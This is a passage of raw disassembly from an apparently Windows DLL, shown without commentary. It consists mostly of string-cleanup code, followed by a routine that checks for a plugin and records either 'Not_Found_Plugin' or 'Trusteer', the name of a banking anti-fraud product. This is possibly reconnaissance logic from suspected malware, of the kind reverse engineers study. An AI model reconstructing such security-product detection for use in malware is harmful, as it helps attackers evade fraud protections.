movdqu xmmword [rsp + 0x570], xmm0
mov byte [rsp + 0x560], 0
mov rdx, qword [rsp + 0x618]
cmp rdx, 0x10
jb 0x1800040bc
inc rdx
mov rcx, qword [rsp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800040b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d77
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x638]
cmp rdx, 0x10
jb 0x180004100
inc rdx
mov rcx, qword [rsp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800040fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d7d
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x658]
cmp rdx, 0x10
jb 0x180004144
inc rdx
mov rcx, qword [rsp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000413e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d83
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x678]
cmp rdx, 0x10
jb 0x180004188
inc rdx
mov rcx, qword [rsp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004182
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d89
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x698]
cmp rdx, 0x10
jb 0x1800041cc
inc rdx
mov rcx, qword [rsp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800041c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d8f
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 0x10
jb 0x180004210
inc rdx
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000420a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d95
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 0x10
jb 0x180004254
inc rdx
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000424e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d9b
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0x10
jb 0x180004298
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004292
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004da1
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x598]
cmp rdx, 0x10
jb 0x1800042dc
inc rdx
mov rcx, qword [rsp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800042d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004da7
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x5b8]
cmp rdx, 0x10
jb 0x180004320
inc rdx
mov rcx, qword [rsp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000431a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004dad
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x5d8]
cmp rdx, 0x10
jb 0x180004364
inc rdx
mov rcx, qword [rsp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000435e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004db3
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x5f8]
cmp rdx, 0x10
jb 0x1800043a8
inc rdx
mov rcx, qword [rsp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800043a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004db9
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x738]
cmp rdx, 0x10
jb 0x1800043ec
inc rdx
mov rcx, qword [rsp + 0x720]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800043e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004dbf
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x718]
cmp rdx, 0x10
jb 0x180004430
inc rdx
mov rcx, qword [rsp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000442a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004dc5
call fcn.18001cdac
nop
mov rcx, qword [rsp + 0xa10]
xor rcx, rsp
call fcn.18001cd50
lea r11, [rsp + 0xa40]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
int3
call fcn.180023a40
int3
call fcn.180023a40
nop
call fcn.180001240
call fcn.1800011a0
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.1800011a0
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
lea rcx, [rsp + 0x80]
call fcn.180004e00
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x440]
call fcn.180004e10
lea rcx, [rsp + 0x80]
call fcn.180004e00
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x458]
call fcn.180004e10
lea rcx, [rsp + 0x80]
call fcn.180004e00
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x428]
call fcn.180004e10
lea rcx, [rsp + 0x80]
call fcn.180004e00
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x470]
call fcn.180004e10
lea rcx, [rsp + 0x80]
call fcn.180004e00
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x488]
call fcn.180004e10
lea rcx, [rsp + 0x80]
call fcn.180004e00
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x410]
call fcn.180004e10
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x290]
call fcn.180004f70
lea rax, [rsp + 0x60]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x560]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180005170
mov rsi, rax
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0xc0]
call fcn.1800051b0
mov rbx, rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x100]
call fcn.1800051b0
mov rdi, rax
lea rcx, [rsp + 0x310]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
mov r9, rsi
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180009290
lea rcx, [rsp + 0x7e0]
call fcn.18000e680
nop
lea rcx, [rsp + 0x270]
call fcn.18000f6b0
nop
call fcn.180010090
mov ebx, eax
lea rdx, str.Not_Found_Plugin
lea rcx, [rsp + 0x210]
call fcn.180005170
nop
cmp ebx, 1
jne 0x180004aba
lea rdx, str.Trusteer
lea rcx, [rsp + 0x210]
call fcn.180004f70
lea r8, [rsp + 0x3d0]
lea rdx, [0x1800506fc]
lea rcx, [rsp + 0x188]
call fcn.180005730
nop
lea r8, [0x1800506f8]
mov rdx, rax
lea rcx, [rsp + 0x1a8]
call fcn.1800056c0
nop
lea r8, [rsp + 0x270]
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.1800054c0
nop
lea r8, [0x1800506f4]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1800056c0
nop
lea r8, [rsp + 0x210]
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.1800054c0
nop
lea r8, [0x1800506f0]
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.1800056c0
nop
lea r8, [rsp + 0x7e0]
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.1800054c0
nop
lea r8, [0x1800506ec]
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.1800056c0
nop
lea rcx, [rsp + 0xe0]
call fcn.180005080
nop
lea rcx, [rsp + 0xc0]
call fcn.180005080
nop
lea rcx, [rsp + 0x100]
call fcn.180005080
nop
lea rcx, [rsp + 0x60]
call fcn.180005080
nop
lea rcx, [rsp + 0x1c8]
call fcn.180005080
nop
lea rcx, [rsp + 0x1a8]
call fcn.180005080
nop
lea rcx, [rsp + 0x188]
call fcn.180005080
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rdx, [0x180050700]
lea rcx, [rsp + 0xa0]
call fcn.180005170
mov rbx, rax
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x168]
call fcn.1800051b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.180008c60
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.1800050e0
lea rcx, [rsp + 0x128]
call fcn.180005080
lea rdx, [0x180050704]
lea rcx, [rsp + 0xa0]
call fcn.180005170
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x270]
call fcn.180010210
movzx ebx, al
lea rcx, [rsp + 0xa0]
call fcn.180005080
lea r8, [rsp + 0x230]
lea rcx, [rsp + 0x128]
test bl, bl
je 0x180004cb4
lea rdx, [0x180050708]
call fcn.180005730
nop
mov rdx, rax
lea rcx, [rsp + 0x4c0]
call fcn.180004f50
nop
jmp 0x180004cd2
lea rdx, [0x18005070c]
call fcn.180005730
nop
mov rdx, rax
lea rcx, [rsp + 0x4c0]
call fcn.180004f50
nop
lea rcx, [rsp + 0x128]
call fcn.180005080
lea rcx, [rsp + 0x520]
call fcn.180004f40
mov rbx, rax
lea rcx, [rsp + 0x4c0]
call fcn.180004f40
mov rcx, rax
mov r8, qword [rsp + 0x120]
mov rdx, rbx
call fcn.180006eb0
xor ecx, ecx
call fcn.180023628
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
nop
call fcn.180023a40
int3